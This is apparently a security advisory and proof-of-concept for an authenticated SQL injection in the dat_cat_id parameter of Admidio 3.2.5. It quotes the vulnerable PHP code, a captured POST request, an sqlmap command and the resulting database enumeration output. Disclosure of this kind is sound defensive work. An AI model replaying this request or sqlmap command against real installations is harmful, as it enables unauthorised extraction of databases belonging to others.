

Admidio 3.2.5

SQL Injection Vulnerability Discovery

Proof-of-Concept

Submitted by: Hanley Shun

Contact: rocker_08@hotmail.com

3 March 2017

National Vulnerability Database

(<https://nvd.nist.gov/cvss/v2-calculator>)

Overall CVSS Score: **9**

CVSS v2 Vector (**AV:N/AC:L/Au:S/C:C/I:C/A:C/E:ND/RL:U/RC:C**)

Proof-of-Concept

The following code snippet shows the vulnerable SQL statement in the file `/adm_program/modules/dates/dates_function.php` (Lines 290-320). The POST parameter `dat_cat_id` is concatenated into an SQL query without any input validation/sanisation.

```
...snip...
// now save array with all roles that should see this event to date object
$date->setVisibleRoles(array_map('intval', $_POST['date_roles']));

// save event in database
$return_code = $date->save();

if($return_code === true && $gPreferences['enable_email_notification'] == 1)
{
    // Benachrichtigungs-Email für neue Einträge

    // Daten für Benachrichtigung zusammenstellen
    if($_POST['date_from'] === $_POST['date_to'])
    {
        $datum = $_POST['date_from'];
    }
    else
    {
        $datum = $_POST['date_from'] . ' - ' . $_POST['date_to'];
    }

    if($_POST['dat_all_day'] != 0)
    {
        $zeit = $gL10n->get('DAT_ALL_DAY');
    }
    else
    {
        $zeit = $_POST['date_from_time'] . ' - ' . $_POST['date_to_time'];
    }

    $sql_cal = 'SELECT cat_name
                FROM '.TBL_CATEGORIES.'
                WHERE cat_id = '.$_POST['dat_cat_id'];
...snip...
```

'Create Events' form:

- http://my_app/admidio/adm_program/modules/dates/dates_new.php?headline=Events

Create Events

[Back](#)

Required fields

Title & Location

Title

Location

Time period & Calendar

The following is a sample HTTP POST request with the highlighted vulnerable parameter:

```
POST /admidio/adm_program/modules/dates/dates_function.php?dat_id=0&mode=1&copy=
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://127.0.0.1/admidio/adm_program/modules/dates/dates_new.php?headline=Events
Cookie: ADMIDIO_PHP_SESSION_ID=3ir3mdtmavtv4pd3eo85vi9t71;
ADMIDIO_Shortcut_admidio_adm_PHP_SESSION_ID=8jsh677vn26qtbjrp2khcoibr3;
ADMIDIO_cvefactory_admidio_adm_PHP_SESSION_ID=g2rctlgl6lam7uablbnu1rb0m1;
ADMIDIO_cve_admidio_adm_PHP_SESSION_ID=qchq2ldd362rtbnbmivs3l6s14;
ADMIDIO_cve_admidio_adm_ID=qchq2ldd362rtbnbmivs3l6s14;
PHPSESSID=ghi333icbiplb6pfkk1o7iqhd4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 412

dat_headline=testsqli&dat_location=&dat_country=DEU&date_from=03.03.2017&date_from_ti
me=18%3A00&date_to=03.03.2017&date_to_time=20%3A00&dat_cat_id=14&date_roles%5B%5
D=0&dat_highlight=1&date_registration_possible=1&date_current_user_assigned=1&dat_max_
members=10&date_right_list_view=1&date_right_send_mail=1&dat_description=%3Cp%3Etests
qli%3C%2Fp%3E%0D%0A
```


The following Proof-of-Concept is carried out while logged in as an Administrator. The above POST request is saved as a file **inject.http**. The following screenshot shows the extraction of MySQL tables by exploiting the vulnerable parameter using SQLMAP:

Command: `sqlmap -r inject.http -p dat_cat_id --dbms mysql --risk 3 -T5 --level 5 --tables`

```
[04:37:50] [INFO] testing MySQL
[04:37:50] [INFO] confirming MySQL
[04:37:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.0
[04:37:50] [INFO] fetching database names
[04:37:50] [INFO] fetching number of databases
[04:37:50] [WARNING] running in a single-thread mode. Please consider using
aster data retrieval
[04:37:50] [INFO] retrieved: 5
[04:37:51] [INFO] retrieved: information_schema
[04:38:01] [INFO] retrieved: admidio
[04:38:05] [INFO] retrieved: mysql
[04:38:08] [INFO] retrieved: performance_schema
[04:38:18] [INFO] retrieved: wordpress
[04:38:24] [INFO] fetching tables for databases: 'admidio, information_sch
, wordpress'
```

Conditions

In order for the SQL injection to be exploited, 'Notifications for new entries' must be enabled (Disabled by Default) under System notifications.

 **System notifications**

☒ **Enable system notifications**
Here you can disable the system notifications of Admidio. They can be sent, if for example a new user has registered. Registration confirmations will also be sent as system notifications. In general, this feature should not be disabled unless the server does not support e-mail delivery. The e-mail module is not affected by the deactivation. (Default: yes)

Email address
This field should contain the email address of an administrator as it will be used as sender address of system notifications, e.g. for registration confirmation.

☒ **Notification for new entries**
This function is used to enable the system notification for new entries within the modules. It is used as a monitoring function within Admidio. Thus the administrator can be notified by e-mail when new entries are added within a module (only new entries will be considered). The system notifications will be sent to the email address `root@localhost.com`. (Default: no)

System notifications Here you can justify the text of each system notification. The texts are divided into two parts (subject and content) and are identified by `#subject#` and `#content#`. The content for each section follows it.